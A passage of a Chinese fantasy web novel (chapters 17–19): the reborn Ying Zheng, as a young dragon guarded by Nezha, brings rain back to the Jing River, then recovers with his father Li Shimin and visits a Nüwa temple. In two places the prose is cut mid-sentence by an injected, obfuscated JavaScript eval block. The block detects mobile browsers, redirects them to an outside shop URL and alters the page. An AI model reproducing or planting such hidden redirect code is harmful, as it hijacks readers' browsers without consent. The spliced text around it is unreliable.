转世而来的幼崽还不明白“骊山”有什么特别,懵懵懂懂地睁着琥珀色的眼睛,一阵茫然。 “骊山,是什么地方?” 17.哪吒给政崽当僚机 “骊山……”哪吒不想多说,咀嚼着这两个字,不耐烦道,“问那么多做什么?你就说能不能吧。” “唔……” 这政崽哪知道? 他迟疑着,歪了歪头:“我不知道。” 哪吒捂了捂脸,无奈道:“我就知道……到底为什么……非要找你……” 两人大眼瞪小眼,瞪了一会,哪吒只能开口:“水德星君有一法宝,能存一整个黄河的水,随取随用,但不太适用于眼下的境况。因他之前已经存满了黄河水,倒入泾水,会使泾水变浊。” 泾渭分明,泾水是清的那一个,用外来的水灌注,隐忧很多。 水里和两岸的无数生命,显然不能轻忽对待。 “倘若没有雷公电母,没有风婆云童,没有龙王,没有符箓,没有玉帝的旨意,也没有任何法宝助阵。——你能恢复泾水吗?” 哪吒谨慎地发问。 他看起来,更像是在等政崽给一个否定回答,然后就完成任务,该干嘛干嘛去了。 泾水的问题,反正有人会处理的。 其实已经在处理了,不是吗? 政崽却小声道:“阿耶说,蜚毁掉了万顷良田。” 孩子不知道万顷有多大,他的阿耶详细告诉他:“万顷粟黍的收成,够这个城里所有人,吃上一年。——还不止。 “也就是说,那个妖怪,等同于差点害死一座城的人。 “战事一了,我们就得开仓放粮救灾。” 蜚所过之处,草木枯死,五谷自然也不能幸免。 田地是农人的命,地里的庄稼,全都是农人的血汗。 夏天本是粮食疯狂生长的季节,无论是小米还是大豆,都在抽条授粉结穗,有水方便灌溉的地方种了水稻,也进入灌浆期。 大片大片的粮食,大片大片地死去,仅仅是因为一只妖怪路过。 “我想……”政崽的声音更小了点,“我想,如果我可以帮上忙就好了。” 他希望他可以。 他希望天上可以下雨,下在那些枯死的土地里,让死去的草木都活过来。 他希望泾水的水位可以复原,涨到铁牛所在的位置。 他看见田边瘫坐着那么多、那么多痛哭的百姓。 也看见岸边汲水的人群被绳索磨破了手掌。 他看见被丢弃的龙王木雕,也看见伏跪哀求的老者。 看见嘴唇干裂的小孩,也看见破旧陶碗里的半碗水。 母亲让给了孩子,大孩子让给了小孩子。 他们很渴望,很小心地抿着,三个人,都没舍得喝完这半碗水。 他生来就飘在天上的,本不该看到这些卑微的尘土。 但他们离他太近了,就算是俯视,那些干涸的眼泪也仿佛能逆着流淌,淌到他脚底。 “这里没有下雨么?”政崽问。 “还没下到这里。——神仙也是很忙的。”哪吒回答得干脆。 “那我来吧。”政崽下定决心,“你说过,龙都是会下雨的。” “普通的水,是无法让草木复生的。”哪吒低头看他。 “不试试,怎么知道呢?” 从来没有不尝试就放弃的道理,至少,在嬴政那里没有。 “那你试吧,我给你护法。——放心,我有许可,不会让你受罚的。”哪吒还咕哝了句,“我也是当上护法神了。” 很多精于法术法宝或有大功德的神仙,本身战斗力却很弱,不慎被妖怪暴打乃至抓住囚禁都是很正常的事。 术业有专攻嘛。 政崽泡在水里,仰头去观天。水也粼粼,天也粼粼。 他全心全意地想:我要下雨,我得下雨,我会下雨。 幼小可爱的崽崽消失在哪吒眼前,一道修长苍劲的身影比风还快,伴着突然丛生的乌云,眨眼间,冲上云霄。 虽不是初见,仍然有种惊心动魄的感觉。 哪吒毫不犹豫,跟着飞纵而去,护在那玄龙身侧。 有风从天际云端,呼啸而来,湿淋淋的水汽几乎在一个呼吸间,就满布在泾水与两岸。 政崽吸了一口湿润的气息,感觉头有点重,想抬起手摸摸那超重的角,映入眼帘的却是一只暗金的爪子。 唔……不好看。 爪子太短头太大,够不到角,好不方便。 他嫌弃了一下自己的原型,尾巴无意识地下垂,拍散了一座云山。 乌云密布,大雨瓢泼。 他飞到哪里,云山跟着移动到哪里,雨水如瀑布般,从那密密的浓云里倾泻而下。 政崽用爪子扒拉过来一朵云,两只爪爪交叠,大脑袋搁上去。 好的,现在不重了。不然老觉得沉甸甸的,抬头费劲。 下雨,下雨,下雨。 他默默念叨着,灵力随着雨水落下去,滴滴答答,噼里啪啦。 金色竖瞳宛如美玉雕琢,中间要更深邃,好似黄昏被阳光浸透的湖泊,明灭着昳丽的光彩,令人屏息。 政崽自己看不见眼睛长啥样,只忙着从云上探头探脑,注视那些枯死的树木和衰败的谷子。 他不太分得清,那些谷子都是什么和什么,只知道都是能吃的。 前世的记忆太稀薄,但李世民有教过他。 “这是稷。” “稷?”好熟的字。 “这是去年的稷,今年的还没来及收。稷用来煮粥很香。”李世民舀起一勺小米粥,香香润润的米油如一层膜,水汪汪的,喂给幼崽吃。 “黍适合蒸着吃,或是加枣栗煮成甜粥,黏糊糊的,我小时候喜欢吃。” 李世民喜欢吃甜的。 “稷比黍成熟得要晚些,若非战事与疫病,正是收割的时候。关中稻谷种得不多,不过我觉得稻米的味道比稷和黍都要香……” 政崽每句话都记得。 可是他没有办法,从这个高度去辨认,这些还没有盛在碗里的食物。 他就学哪吒,把云降得低了些,很专心地去看。 雨水泼洒在衰草连天般的田地里,那惨败的灰黄色肉眼可见地褪去病态,干裂的土地变得平整。 而那土地之上,是一眼望不到头的谷穗。 枯谷逢春,死而复生。 金黄、饱满、弯弯地垂成月牙,像数不清的猫尾巴。 大大小小,青青黄黄。 农人的泪水与雨水模糊在一起,他们跪倒在田地里,颤颤巍巍地捧着新活的谷穗,诚心诚意地拜倒。 “苍天有眼呐!” “阿娘!阿娘你看!我们的粟活了!今年有粮食吃了!” “是龙王显灵了吗?快拜一拜,愿今年风调雨顺。” “可能是不想挨打吧,都打了龙王好几天了。” “压根不是一个龙王吧?你们看,颜色都不一样。” “还真是诶,庙里的泾河龙王是白色的。” “那不是前几年捐的善款,新刷的漆吗?” “不管怎样,拜一拜总没错。” “是不是颜色刷错了?正好旧的已经丢了,咱再雕个新的吧,就照这个模样雕,还怪好看的咧。” “好大好漂亮!” …… 哪吒经验丰富,忽隐忽现的,用云层做掩盖,没有在百姓面前暴露自己。政崽不会这个,体型太大,难免暴露了。 眼看自家地里的谷子都活过来了,乐观的老百姓就自发凑一块,叽里咕噜起来。 拜归拜,说闲话归说闲话,既虔诚又碎嘴子。 “龙王好像在看我。” “噤声!一点也不尊重!” 各种各样的虔诚祝祷声在水色中连成一片,可是政崽没有精力去听。 降雨对他而言,并不是一件难事,他也很高兴看见田地里金黄金黄的,但他的灵力却耗得很快。 雨云沿着泾水逆流而上,越发吃力。 “还能坚持吗?”哪吒像僚机似的伴飞在侧,掏出一瓶丹药来,“我师父炼的,虽然比不上太上老君,但吃着还不错。” 政崽犹豫地垂眸,看着这玉瓷瓶。 和现在的他一比,哪吒迷你得好像手办。 手办把丹药倒出一颗来,怼到玄龙面前。“吃不吃?” 感觉是可以吃的。政崽张嘴,用一种能把哪吒整个吞掉的气势,吸收了那颗丹药。 温暖的灵气瞬间入口,顷刻入体,提供了一股后继的力量。 哪吒指引他,往被蜚糟蹋的路线而去。 政崽艰难地抬了抬头,天空依然是一碧如洗的色泽,万里无云。 云都在他身下,黑沉沉地堆积成山。 低头,泾水在暴雨中翻涌。波浪一层一层地翻叠过来,犹如千军万马,白色浪花滚滚,反复涌着正弦余弦的函数。 这样的情景,莫名让人感到很兴奋。 仿佛世界下一刻就要毁灭,所有人都脱离世俗的一切,灵魂与这潮水共振,随着波涛奔腾,肆意放纵。 政崽不知不觉,越飞越快。 畅快淋漓,驰骋天地,迎面而来的风与甩在身后的雨,都随他心意而动,受他主宰。 他就是风雨,风雨就是他。 一千里的泾水,竟这样被他所控制,欢呼雀跃,河水暴涨。 “三太子这是什么意思?”泾河龙王气愤地冒出水面,腾空而起。 “你生什么气?” 哪吒惊讶,“我们三番两次前来相助,你不感激也就算了,怎么还气势汹汹的?这是哪家的道理?你们龙族都这么无礼吗?” “到底是谁无礼?他在夺我泾水的权柄,莫非三太子看不见?” “不好意思,我又不是河神,我不太懂。” 哪吒重音落在“河神”两个字上,从左边飞到右边,加速到侧前方,顺手给政崽又喂了颗丹药。 这次政崽接的很干脆,嘴一张,丹药入口即化。 他没空理会暴跳如雷的泾水龙王,自顾自在哪·高德地图·吒的指路下,向西北蜿蜒。 平原、山脉、森林、盆地……都在他眼底掠过。 “三坛海会大神!” “在呢,我耳朵没聋,听得见,不用那么大声。” “你分明就是故意的!” “我故意什么?龙王说话好高深,哪吒听不懂。” “你故意趁我虚弱,夺我泾水!” “真是笑话。这么长一条河,不过是添了些水,怎么就称得上‘夺’了?”哪吒似笑非笑,嘲讽道,“难不成你觉得,一只初生的小龙,就能轻易动摇你对泾水的掌控?你弱得让我吃惊。” 泾河龙王涨红了脸,火冒三丈,但不敢对哪吒动手,只能悻悻道:“私自降雨,有违天规!玉帝面前,我定要状告于你!” “那你告呗。”哪吒无所谓,“好像谁没被告过似的。对了,你有个儿子,镇守东海太岳山是吧?东海那边我可太熟了,你可要考虑清楚。” 哪吒扬起笑脸,张扬到不可一世。 政崽用余光瞄到泾河龙王铁青的脸,不解地传音:“他怎么了?” “不用管。”哪吒懒得理会,在前引路,“差不多了,前面就是泾水源头老龙潭。” 泉飞雾浓,积水空明,灵气氤氲,珠玉四溅。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是政崽还是一颗蛋的时候,听说的故事,彼时李世民在准备出征,还没有离开长安。 石榴花一朵一朵地落在秦王妃的石榴裙上,花蕊橙红,明艳如火。 她悠悠地念着:“羿请不死之药于西王母,姮娥窃以奔月……”[1] 李世民在旁边擦拭着他的刀,笑着补充:“为了避汉文帝刘恒的讳,后来改叫‘嫦娥’了。她的名字,改过很多次。” 蛋壳里的崽崽有一搭没一搭地听着,轻轻滚了滚。 ———— “那不一样。”哪吒郑重警告,“那是西王母专门为了给人飞升制的药。药不能乱吃,仙丹更不能。” 政崽叹息。 “仙丹有很多种,有防风的、避水的、化形的、培元的、辟谷的……”哪吒随意列数了几种,强调道,“不能乱吃。不然你得下地府捞人去。” “我知晓了。”政崽答应。 他这个乖巧的语气,和庞大威严的外形极不相称,哪怕是哪吒,都觉得太怪了。 政崽毫无所觉,在水中自由穿梭,其速度之快,横冲直撞的架势,吓呆一群虾兵蟹将。 “好大的风浪!这是怎么了?” “地动了吗?我怎么看到一座山飞过去了?” “是哪吒!!” “你不要命了,敢直呼三太子名讳!” “救命,不要杀我,我什么也没干!” “哪吒三太子打过来了!快跑啊!” 水族眼里仿佛只有哪吒,那么大一条龙在这,都不能阻止他们惊慌失措,四处逃窜。 可能是不存在的ptsd发作了吧。 政崽不明所以,拼命赶路的同时,迷惑地问当事藕:“他们怎么了?” 哪吒黑着脸:“不用管,水族都这样,神神叨叨的,胆子比老鼠都小。” 奇形怪状的水族们长得多半有点辣眼睛,化形不完整,有些小妖更是丑出天际,政崽看一眼就不想看了。 还不如蚌壳里的珍珠、没有成精的鱼虾蟹更吸引孩子注意。 这里的鱼活蹦乱跳的,看起来很好吃。 “别看了,河里没什么好东西,宝物都在四海龙宫。”哪吒催他快点,“以后有空去东海,那老泥鳅收藏最多,你想要什么他都有。” “可以拿走吗?” “他会送。”哪吒古怪道,“他可爱给人送东西了。你直接跟他要东海龙宫,他就什么都会给你了。” 政崽发出恍然大悟似的声音,学到了一个薅羊毛的小窍门。 汩汩流淌的泾水弯弯曲曲,自西北往东南,流到了曾经的郑国渠。 现在这里叫郑白渠了,汉时白公引泾水东注渭水,互补而合称。 雨水变小了,淅淅沥沥地润湿着岸边的土地。测水位的铁牛,半没入水里,斑驳得看不出年岁。 嬴政疲倦地垂下眼睛,那泾渭分明的神奇画面,犹如太极图一般,鲜明地呈现在他眼前。 一条松柏覆盖的狭长青山,就侧卧在渭河南岸,像闭着眼睛的巨龙。 政崽呆呆地看着那山,那山也呆呆地看着他。 好熟悉的地方。 这是……哪里? 他茫茫然地想着,灵力耗尽,云层倏然散开,难以聚拢成型。 于是他从云上跌落。 骊山,近在咫尺。 18.小龙崽泡杯子里洗澡 迷迷糊糊中,政崽好像睡了很长很长的一觉。 因为太累,睡得很沉,醒来时也睁不开眼睛。 有甜甜的味道传入他的五感。是桂花还是丹药? 不对,都不是。 政崽忽然惊醒,意识到那是父亲的精血,而且比从前的分量都要多。 “阿耶?” 他想用手扒拉开遮挡视线的衣服,却发现自己没手。 “阿耶!我的手!”幼崽慌慌张张地呼救。 “这呢。”李世民笑吟吟的声音响起,把刚塞进怀里的崽崽取出来,平放在桌案上铺的垫子上。 “现在大概得叫爪子了。” “爪子?”政崽彻底清醒了。 眼睛睁大,傻乎乎地看着自己的爪爪,宁愿自己还没睡醒。 他想起他在下雨来着,灵力耗尽而坠落,哪吒追着他下坠。 他看见了骊山。 但,元神出窍在失去意识时是会回归本体的,所以懵懵懂懂的孩子,在那坠落的瞬间,回到了他自己的身体里,沉睡修养。 “可算醒了,再不醒我就要去求神了。”李世民舒了口气,以手支颐,温和地盘着孩子玩,关切地问,“你还好吗?” “我怎么了?” “你问我?”李世民失笑,“我问谁去?我这边刚拿下薛仁杲,回来一看,你就变成这样了。” 别看李世民这会淡定,还有心情说笑,那天夜里他焦虑得一夜没睡,生怕又出什么状况。 谁懂他只是打了一场胜仗,都来不及高兴,就发现孩子变成了细细长长的小龙,完全失去人形,是什么感觉? 虽然知道孩子是龙,但突然变换形态,谁知道出了什么事?是好事还是坏事? 李世民没别的办法,只能时不时试探一下幼崽的呼吸,确定他只是在睡觉,才能放下一点心。 这样一算,他已经见识过孩子的三种形态了。 庞然大物,半人半龙,和眼下这副幼小龙崽的样子。 “出什么事了吗?”李世民问。 政崽沮丧地用爪子捂住眼睛,不想看自己这副样子。 “我去下雨了。”他小声回答。 “原来是你下的?”李世民惊叹,“我听乡野议论纷纷,说天降玄龙,泽被众生,泾水与良田皆恢复如初。我还在想,谁这么大本事?原来是我们政儿。” 他看出孩子兴致不高,蔫蔫的没精神,便故意夸赞着,哄崽崽开心。 “政儿好厉害,帮了阿耶阿娘一个大忙。” “真的吗?”龙崽眼睛一亮,从爪爪的间隙偷偷往外面看,喜形于色。 “当然啦。”李世民摸摸他的角角,“不仅是我们,所有受你恩泽的百姓,都会深谢于你的。” “可是……”政崽看见自己的爪子,低落下来,“不好看……” “不,很好看。”李世民笃定得像在说什么天经地义的道理。 事实上,确实漂亮。 墨玉雕成的鳞片却不是纯黑,如乌鸦的羽毛那样,在有光的地方闪耀着斑斓的光泽,华光内敛。 看起来是水晶的质感,摸上去竟丝滑如绸缎。 嫩黄的爪子好似小鸡仔,戳中了某爱鸟人士的审美,趁孩子沉睡的这段时间,已然摸了无数次了。 无论是哪种形态,最炫目的永远是那双眼睛,星河璀璨,灼灼生辉。 “你睡了十天了,饿不饿?我让人送吃的过来。” “不饿。”政崽摇摇头,“你喂了我好多血。” “也没有很多,不过就是几滴。”李世民略微心虚,“这不是打完了嘛,暂且可以歇一歇。” “胜了吗?” “当然。”李世民不假思索,“不过还得处理些杂务。” 厚厚的案牍刚批阅完,他信手整理了一下,勉强还算整齐。 政崽盯着那没对齐的案卷,忍不住凑过去,帮李世民弄得更齐整些。 至于是怎么过去的?当然是蛄蛹蛄蛹,几几几…… 说爬吧,还不太准确,因为幼崽还不太会使用四肢,更像是“蹭”和“游”,慢吞吞地拱出两个“几”,就累得趴下来歇会。 李世民忍俊不禁,看得津津有味,戏谑道:“你怎么不飞了?” 政崽如梦初醒。 对哦,他会飞的。 小朋友试图御风,让自己浮起来,但刚离开桌面,不过一秒,就跟漏气的气球一样,脱力地下坠。 “吧唧”,摔到了李世民急忙伸出垫着的手上。 “是不是受伤了?” “没有。”政崽蔫蔫地摇头。 “那就是太累了。” 李世民很笃定,这种感觉他再熟悉不过了。刚下战场的时候,他也这样。 看起来没有外伤,实则损耗严重,处于残血状态。 这父子俩,一时竟分不清,是谁影响了谁。 政崽蛄蛹到了堆积的案牍旁边,伸出爪爪,把边边角角对齐,严丝合缝,仿佛在搭积木。 推不动的话,就用脑袋去顶,务必让桌案上每一件东西都丝毫不乱。 好生严谨。 孩子的性格到底是天生多些,还是后天多些呢?李世民笑眯眯地看在眼里,不由地忖度。 “这是哪里?”政崽左顾右盼,恢复了些许精神。 “城里的府衙。” 李世民打仗的时候军政一把抓,高墌城的庶务也是他抽空处理的。这会腾出空来了,才搬到这边来小住。 幼崽嗅了嗅,皱皱小眉头。 “怎么啦?”李世民故意学他,也嗅嗅,“除了桂花和墨的味道,我什么都没闻出来。” “我不干净。”政崽看看自己的爪爪,一脸严肃。 李世民忍着笑,觉得小龙每个表情和动作都好有趣,像一只幼小的狸奴。 他给家养的猫猫龙准备了杯子,洗了三遍杯,倒入温水,试了试杯壁的温度,煞有介事地摊开右手,做了一个“请”的姿势。 “这是你喝水用的。”政崽嘟囔。 “洗过了。” “你还要喝水的。” “我又不止一个杯子。” “好小。” “比你大。”李世民挑眉,“或者你愿意忍受自己不干净?” 政崽不愿意,他还是很爱干净的。 于是白玉般的瓷杯,就充当了猫猫龙的临时泡澡桶。 幼崽遇水则膨胀,滑进去时不情不愿,泡进温度适宜的热水里就舒服得摊成了龙饼,半浮半漂。 李世民怕他着凉,时不时拎着茶壶,沿着杯壁,给他加点更热的水,还悠闲地揪下瓶里插的桂花,撒两朵进去。 金灿灿的小花在水里飘飘荡荡,芳香馥郁。 “我们什么时候回长安?” 幼崽把自己洗得干干净净,神清气爽,裹着手帕,仰着脸问。 “城内及附近州府的疫病都好转了很多,医药够用,病亡者逐日减少,孙思邈说是幸事。仗刚打完,等接替高墌防务的刘世让熟悉几日,我们就带薛仁杲及从属回长安。” 李世民像和无忧聊天一样,随口这么说着,说完才反省了下,“总说大人的事,听起来是不是很无趣?” “不。”政崽毫不犹豫,“我喜欢听。” 他喜欢听这些,关于周围繁琐的一切。 李世民不把他当做什么都听不懂的小动物敷衍,是件好事。 幼崽琢磨着这句话,好奇道:“刘世让,哪位?” “安定道行军总管。” “安定……道?” 李世民从整整齐齐的案卷里抽出一卷地图,那小山便滑坡了。 政崽看不得这种画面,手忙脚乱地去阻止,重新整理。 束带一开,地图一铺,战线清晰明了。 “战事开启时,行军的方向和作战区域,就是‘道’,安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16882741|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定道就是安定郡一带。”李世民点点那片区域,顺口道,“泾水也流经安定郡郡所,且离这里很近,想来正是丰收的好时节。” 李世民喜欢丰收,嬴政也喜欢。 “之前对战薛举,刘世让虽战败被俘,却无损气节。薛举逼他劝降长安,他却暗自通风报信,还让其弟传信于我,说眼下对敌‘宜坚守’……”[1] 李世民收起地图,故意往卷山上放。 “啪嗒”,好不容易堆齐的山又塌了。 “哈哈……”坏心眼的某人乐不可支,看小小的龙崽被压在山下,气鼓鼓地瞪着眼睛。 “哈哈……咳……总之,是个不错的人。”李世民居然能在笑了半天之后,无缝衔接到刚才的话题。 政崽快要恼了,就算被拯救出来,也把脸别过去,生气气。 “我准备出门,你去不去?”李世民拿上几卷东西,施施然清清嗓子,向幼崽伸出手。 政崽转过头,连忙扒拉他的手往上爬,问道:“去哪里?” “女娲庙。” “女娲,是位神仙?” “我们人族,就是女娲娘娘造的。”李世民等他全部爬入掌心,转悠成玄色的手镯。 “哇!”政崽惊叹。 “我小时候也是这个反应。”李世民笑道,“传说上古时代,水神共工与颛顼争位,输了,便怒触不周山,致使天塌地陷……”[2] 政崽入神地听着,他却忽然停了,就催问:“后来呢?” “你想知道?” “嗯。” “晚上再讲给你听。”李世民将挽起的袖子放下,掩盖独一无二的手镯。 小手镯一路跟随,偷偷地探听这个世界。 唐军反败为胜后,摧毁了薛家父子筑的京观。 那些由人头和躯体组成的暴虐之物,在火焰中滋滋作响,像是嚎哭,又像是痛苦。 二十岁的李世民,直面着人头们扭曲的脸,神色悲悯,往上添了一根柴。 城内外的佛与道,聚了不少在这里,各自唱念做打,超度这些亡魂。 “这样就可以了吗?”李世民认真地问。 女娲庙的童子扎着两个小揪揪,红衣如火,认真地回答:“若是有殿下手写的祭文,列出亡魂的名姓,后土娘娘那边,能接收得更快,更准些。” “但我并不修道。”李世民微带困惑,看向不远处的孙思邈。 神医在这众道云集、符箓与诵经满天飞的环境里,身为道者一员,他却忙着叮嘱医官与弟子们在周围洒草木灰,焚烧艾草苍术雄黄等药包。 “殿下。”孙思邈感觉到有人在看他,顺着目光踱步,给秦王塞了两个药包。 一大一小,清苦浓烈的药草气息驱逐了四处袅袅的香烟和尘雾味,缭绕在李世民身侧。 “神医好偏心,怎么殿下就有两个,我们都只有一个?”柴绍玩笑道。 “殿下需要两个。”孙思邈捋捋胡子,含笑道。 “这是什么道理?”柴绍嘀咕。 李世民顺手往袖子里塞一个小的药包,给孩子玩,拍拍柴绍的肩膀,把话引过去。 “名单都核对过了吗?” “早就核对过了。”柴绍抛着药包,“人虽无法落叶归根,但抚恤能到,也聊以安慰了。” 李世民点点头,默不作声地看着那腾腾升起的烟雾。 木鱼咚咚咚咚,铙钹噌噌噌噌,鼓噪着他们的耳膜。 政崽眉头皱得很紧,把难闻的药包塞进李世民袖袋里,被熏得屏住呼吸,从袖口探出半个脑袋,吸了口气。 “咳咳……” 外面更难闻!都什么味道! 幼崽捂住口鼻,险些没被熏晕过去。 红衣的童子目不斜视,若无其事地邀请:“庙里要清净些,殿下可入内书写祭文。” 政崽惊奇地看着他,像在看一个陌生人。 “看什么呢?” 19.在哪吒面前吃藕 女娲庙的童子引秦王入内。 哪吒给嬴政传音。 因为是同时发生的,政崽看着,觉得说不出的古怪,想回音,却连这么简单的事都做不到。 电量耗尽,关机了。 “别瞎折腾了,连化形都维持不了,歇着吧你。”哪吒毫不客气。 红衣童子走过古老的银杏树,满树金黄的叶子投下参差影子。 “请殿下稍坐片刻。”童子微微低首,去取了一套笔墨纸砚,置于树下的石桌上。 “这树看着有些年头了。”李世民抬手摸了摸树皮。 “几百年总是有的。”童子微笑。 “不止吧?”李世民笑道,“听说这庙还是商时建的,那时候这树就已经在了。” “许是如此,只是我年纪小,不曾亲眼见过,自然也不敢妄语。” 政崽默默吐槽:现在又装年纪小了? “别戳穿我。”哪吒预警,“不然我就不跟你玩了。” “哦。”政崽马上答应。 他还是很喜欢哪吒,很想跟对方一起玩耍的。 哪吒虽然一把年纪,但从外表到性情,都永远像个少年,风风火火,直率得很,相处起来毫无压力,还能学到很多东西。 “这祭文有什么讲究吗?”李世民卷袖子时,顺便把崽崽往里塞塞。 幼崽不愿意被药包熏,悄咪咪又回到原位,仗着附近只有哪吒,光明正大地左看看,右看看。 “殿下博闻强识,想来知道祭文要怎么写。”哪吒笑笑,好脾气地介绍了一下,“无非是言明亡者是谁,从何处来,欲往何处去,受哪位神祇管辖……最后落下自己名字,好叫阴司知晓,祭文是谁写的。” “不用开坛做法、香酒牺牲吗?”李世民诧异。 “女娲娘娘不在意这些。”童子很自然地表述,“她更喜欢五谷、鲜花和果子。” “那后土娘娘呢?”李世民饶有兴致。 “我不太了解后土娘娘。”童子如实道,“只听城隍说过,上交的文书越完备越好,后土娘娘那里全都存着。每隔几年,地府都会有所调动,判官无常鬼王城隍等,都可能会换。” 听起来是风格截然相反的两位女神。 那当然都不能怠慢。 正是丰收时节,不需要李世民下教令,忙忙碌碌的百姓们,就硬是抽出人手,帮忙砍柴火采药草,为祭祀的火焰添一份力。 毕竟亡者里,也有因疫病丧生的,他们的名字也尽量报到了李世民这里。 刚会走路的小孩都有任务,捧着花朵果子,叽里咕噜地放到女娲庙前,然后一溜烟跑走了。 孩子们来来往往,庙门边的筐子里,便总是有果香。 “若是被人拿走吃了呢?”李世民问。 “娘娘说,那也很好。”童子回答。 便是这一句话,让遥远的神明,变得温柔而触手可及。 李世民就从这满满当当的筐子里,挑出一些漂亮端正的果子和颜色艳丽的花朵,洗干净,摆在女娲的雕像前。 他抬头,政崽也抬头,悄悄把爪爪里的那朵桂花放下。 李世民放下了手写的祭文,长长的书卷摊开,许许多多的名字位列其中。 “维大唐武德元年九月初七,秦王李世民谨以清泉香果,祭于娲神庙中。 “时逢乱世,命如草芥,及浅水原一战,阵亡者多矣。血洒疆场,魂滞荒野,吾每念至此,心甚恻然…… “后土娘娘主司幽冥,今依仪轨,告祭于此,祈娘娘垂慈,引渡阵亡疫殁之魂径归地府,得享安宁……” 祭文写的很简略,不需要文采斐然,只干脆地写明了缘由,附上了亡者的名单。 童子送上了两支香,一大一小,香气幽静。 “这是建木的枝条,能把祭文直接送至后土娘娘那里。” 李世民神色微妙,他进一步发现,在这些玄门眼里,龙崽的存在,好像不是个秘密。 不然这么短这么小的香,刚点燃就烧没了,怎么可能拿来奉神? 但童子不问不说,李世民也就装聋作哑,好像没看见幼崽探头探脑,时不时盯着童子看。 父子俩就这么大大方方地传递建木枝,旁若无人。 政崽一看父亲不装了,果断蹦跶出来,跳到供桌上。 “我好像没有带火石。”李世民忽然想起来。 童子微微一笑,吹了一口气。 两朵小小的火焰,从建木枝条上冒出来,刚刚好点燃,没有多出一分灼烫到父子俩的手。 李世民心里便有数了,向童子颔首:“多谢。” “不必这般客气。”童子笑得很礼貌。 政崽从今日看见他,就觉得古怪,现在更古怪了。 这么温言可亲的哪吒,还是哪吒吗? 幼崽两只爪爪用着不太顺,抱在一起,歪歪扭扭地把香插进香炉,差点把自己也滑溜进去。 李世民眼疾手快,连忙拉住他的尾巴,把孩子钓上来,擦擦爪爪上沾染的香灰,放到秋菊上。 建木燃烧得很慢,幽幽的香气青烟直上,凝成两条不平行的线。 政崽看了一会,浑身不得劲,忍不住伸出爪子,把自己那根扶正了些。 嗯,现在平行了,看着顺眼很多。 李世民读完祭文,也放香炉里。金红的火星从建木枝上落下来,不偏不倚地点着了墨色文字。 矫健飘逸的飞白书化为黑红的星蝶,一闪一闪,消失在建木香气里。 那碗来自泾水的清泉,逐渐落满了灰黑的香灰纸烟。 鲜花果子上面,倒是干干净净,随时都可以取用。 待正事完毕,李世民闲步庭中,问起私事:“我有一事,想问阁下。” “殿下请说。” “吾子,该如何完全化为人形?”李世民把孩子捧起来,降低了下高度,送到哪吒眼前。 政崽仰着头,无辜地与哪吒对望。 “殿下是想让他变成人?” “是的。我们该班师回朝了。” “他生来就是龙,并不是凡人。若想让他成为人,可以拔龙鳞、斩龙角,逼迫他失去属于龙的一切,他自然就降为人了。” 哪吒说得轻描淡写,父子俩听得目瞪口呆。 政崽震惊得睁大眼睛,下意识往李世民手后面缩缩,用控诉的眼神指责哪吒。 万万想不到,你居然这么凶残! 如果四海龙王在这,尤其东海龙王,一定会把“居然”两个字改成“果然”。 “那岂有活路?”李世民倒吸一口气,连忙把崽揣怀里,头摇了又摇,“算了算了!就当我不曾提起过。” 哪吒却好整以暇地一笑,笑容纯洁,言辞犀利:“东海龙王三太子连龙筋都没了,不也活得好好的吗?龙嘛,哪那么容易死?” 李世民还是摇头:“那多疼啊。” 他摸了摸孩子幼嫩的角,露出一种好像自己的十根指甲被硬生生拔掉的想象的痛楚感知来,捂住小龙的耳朵,咋舌道,“算了,我另想办法就是。” “殿下当知道,这是最好的办法。”哪吒袖手道,“长安的水,比这里深多了。一旦谣言四起,殿下现在未必护得住他。” 这正是李世民忧虑的地方。 乱世之中,最可怕的永远是人心。他总不能时时刻刻把孩子带在身边——呃,也不是不能。 先这么着吧。 “你说的是真的吗?”政崽听得清清楚楚,从父亲怀里钻出来,鎏金的眼眸灿然生辉,毫无惧怕。 “只要拔掉鳞片、斩掉龙角,我就能一直变成人了?” 李世民与哪吒都齐刷刷地看向他,错愕难言。 政崽很有逻辑,他思考着:“反正我也不需要角和鳞片,拔掉了也没关系……” “有关系!”李世民凝重肃然地打断他,收紧了抱着孩子的手指,叮嘱道,“事情还没有发展到这一步,你不许轻举妄动。” 政崽一如既往,乖乖“哦”了一声。 “否则的话……” 哪吒为之侧目,等着听这个做父亲的,要怎么威胁。 “我就哭给你看。” 政崽与哪吒不约而同地瞪圆了眼睛,竟然真的觉得这个威胁好有威慑力。 尤其是政崽,他可是见识过父亲有多能哭的,泪水能把他整个淹了,好难哄的。 幼崽刚生起的偷摸小计划,瞬间胎死腹中。 还是想别的办法吧,此路不通。完全不通,绝对不通。 父亲爱哭,没法子。 哪吒的笑容渐渐消失,恢复了在李世民面前礼貌的样子,转移话题:“两位还没有用食吧?今夏庙里的莲花开得很好,收了些莲子,可要用碗莲子羹?” “那便劳烦了。” 李世民真的很好奇,这莲子羹是怎么煮出来的,也是吹口气就生火吗? 少顷,莲花池边的客室石桌上,就摆上了清粥小菜。 菰米莲子羹、桂花蜜藕、烤鹌鹑、蒸腊肉,以及煮好的菱角,新摘的青枣。 食材很新鲜,而且恰好符合父子俩的口味。 “阁下不一起用食吗?”李世民邀请。 “不了。”哪吒捂着半边脸,似乎牙疼,表情一言难尽。 政崽坐在盘子边,挑了颗最大最好看的青枣,本来正要抱着啃,闻言抬头,费力地把枣子举起来。 “这个,好吃的。” “这枣子就是我打下来的,年年打,周遭邻舍都送了个遍。几百年的枣树,早就吃腻了。”哪吒嫌弃完毕,坐下来,接过了政崽的枣子,抛上抛下,跟抛绣球似的。 